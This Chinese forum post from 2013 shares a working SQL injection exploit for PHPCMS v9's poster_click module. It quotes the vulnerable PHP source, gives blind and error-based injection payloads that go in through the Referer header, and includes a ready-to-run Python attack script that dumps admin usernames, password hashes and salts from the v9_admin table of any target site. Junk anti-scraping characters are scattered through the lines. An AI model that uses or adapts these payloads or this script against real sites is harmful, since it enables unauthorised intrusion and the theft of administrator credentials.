找回密码
 立即注册
查看: 2719|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
. d7 b# e+ T, b1 s% i2 W7 f2 W/ F5 i) Z* L+ L3 ]
问题函数\phpcms\modules\poster\index.php8 x" a( O) C% N  T' [' m
$ y8 Y* M2 |, d6 x" y
public function poster_click() {
9 E! e- J7 J- J% M' U+ i, N$id = isset($_GET['id']) ? intval($_GET['id']) : 0;6 u" n- g# ~5 k( M( U- A
$r = $this->db->get_one(array('id'=>$id));+ B' @9 }) J) ?3 a/ e  u# h
if (!is_array($r) && empty($r)) return false;
% d' n' L/ s( \+ F* }$ip_area = pc_base::load_sys_class('ip_area');
( f# x) {% E3 A5 O" f" ~# z$ip = ip();
  N5 R8 P4 h8 M" l2 F9 t* d% t$area = $ip_area->get($ip);- m8 ]' _7 |8 b- c9 H8 O2 E
$username = param::get_cookie('username') ? param::get_cookie('username') : '';* Y- u' Q. {8 B# r4 w
if($id) {0 a' P" X/ o- }3 b( M
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();; w% Z0 g+ d( Q2 B" H+ `/ Z
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
, s  l9 W* u, x}
0 `' X! \2 w4 j' f! ]& G7 V9 m$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
: M' y" S2 v; w0 X2 W$setting = string2array($r['setting']);) T$ D$ Q, l  J2 A; r, s" z- R
if (count($setting)==1) {
1 |$ M9 M' R1 M# j, i* P3 E$ o$url = $setting['1']['linkurl'];
( J$ s/ {. n8 O- p* N} else {
* l6 _4 _2 r% e4 {8 e8 o6 @0 C( Q$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
' t, f4 b2 H) l( E}
0 }; Q( g, T2 O5 {header('Location: '.$url);
1 J: d' L* V$ }+ }8 f, H}
- o; o5 J2 |, Y# l) [
% B  C4 d  D4 R' F8 @   ?# y6 A* n1 f7 o# _2 `

( [& R* y9 N" r+ e( {& B1 a利用方式:8 B0 a' U9 N9 f

( Z5 i- ?7 [/ l, j1、可以采用盲注入的手法:
9 \  e+ a$ |8 }' B; P5 d
' }4 j8 P6 n/ F" Q4 t) G! e9 c/ F% Kreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
5 N6 s& N; c3 C9 a' b2 t: `2 ~! i1 {( {7 A2 ?
通过返回页面,正常与否一个个猜解密码字段。" V- x* ]0 f) r- O1 z

0 t( r1 \" o5 n6 n( p+ v: f2、代码是花开写的,随手附上了:
: {& k: o9 x  T( z2 F7 l% N7 F" p
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
; i" ^) F% k: r1 I* A; H' S1 K1 j# T6 w: U" g9 N
此方法是爆错注入手法,原理自查。: F' d# ]0 l4 c" L. D: k9 v. [
7 f/ b% K! l$ U: v' }* ^
" y8 A: Q! q- Z9 j6 S- F/ _, C

+ @9 ?5 ^  g# S2 N利用程序:
0 a+ z, U2 V+ n6 ], ^
8 x9 t2 y: W- p: q#!/usr/bin/env python& r! ]+ _& H  K! S& b+ k
import httplib,sys,re
& y4 t; H! O$ T  r
8 @+ h% ~/ ^, j/ `( Hdef attack():% o2 o/ k' B! \" \! H+ K0 L
print “Code by Pax.Mac Team conqu3r!”' \0 K  r4 P+ Z6 z$ T
print “Welcome to our zone!!!”
( q7 a" Q/ K( ], W$ L: m) f* aurl=sys.argv[1]
6 H, Z- C# h2 R; lpaths=sys.argv[2]- F6 u+ e% D- c5 p& i
conn = httplib.HTTPConnection(url)
+ y5 M3 t( ~* {8 D: M) [i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
! O$ S& d4 x& M0 c- i“Accept”: “text/plain”,
  |; C; s- x( s; E; w1 p0 f“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
! Z2 }6 A( i2 o; R+ i: y  _+ uconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)/ c! z1 j2 o& y! I! E* V- w
r1 = conn.getresponse()* o6 C$ A9 r  Y" d  u9 s3 g& R9 E
datas=r1.read()! V9 b6 ?" t  S1 t- ~
datas=re.findall(r”Duplicate entry \’\w+’”, datas)6 E5 x( _9 O" [& C  f" O( L4 o
print datas[0]9 y% T% ?1 a2 k' Q
conn.close(), Y: ]- q$ [! M
if __name__==”__main__”:  @4 S' M4 i- `$ \" S
if len(sys.argv)<3:5 \5 M4 n8 X+ F6 |; G- z
print “Code by Pax.Mac Team conqu3r”
8 y6 m' R) p+ }7 Xprint “Usgae:”
+ `* Y9 n) B% J2 |6 rprint “    phpcmsattack.py   www.paxmac.org /”% q7 @' `8 ~% ~. R1 Q& ]
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”7 x1 y; i# s4 l% e
sys.exit(1)
$ ]5 {/ ]1 N. o- l4 a  V7 {  rattack()
# M3 J( F4 k" k2 m% k1 v9 Q' p9 s* H& m3 ~, [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表